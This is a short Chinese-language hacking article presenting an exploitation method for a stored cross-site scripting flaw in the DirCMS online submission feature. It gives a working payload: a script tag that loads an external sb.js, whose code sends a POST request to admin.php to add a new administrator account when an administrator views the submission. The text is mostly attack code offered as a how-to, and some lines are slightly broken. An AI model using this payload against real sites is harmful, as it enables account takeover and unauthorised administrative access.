dircms xss 跨站漏洞利用方法

作者:hack1990 时间:11-01-29 阅读数:794人阅读

发布作者:心灵

官方网站:www.dircms.net

bug在于在线投稿功能,无须注册等待审核……

http://www.xxx.com/post/index.php?catid=49

fckeditor编辑器点击源码,写入跨站代码:

<script src=”http://www.xxxx.com/sb.js” </script>

sb.js内容长度限制500,如下:

var oReq = new ActiveXObject(“MSXML2.XMLHTTP”);
var str = “do_submit=1&newadmin[username]=s12&newadmin[allowmultilogin]=1&newadmin[roleid]=1&newadmin[disabled]=0″;
3 oReq.open(“POST”,”http://www.xxx.com/admin.php?file=admin&action=add”,false);
oReq.setRequestHeader(“Content-Length”,str.length);
oReq.setRequestHeader(“CONTENT-TYPE”,”application/x-www-form-urlencoded”);
oReq.send(str);

当管理员查看投稿文章,便会出发xss攻击;添加帐号s12为管理员权限。

发表评论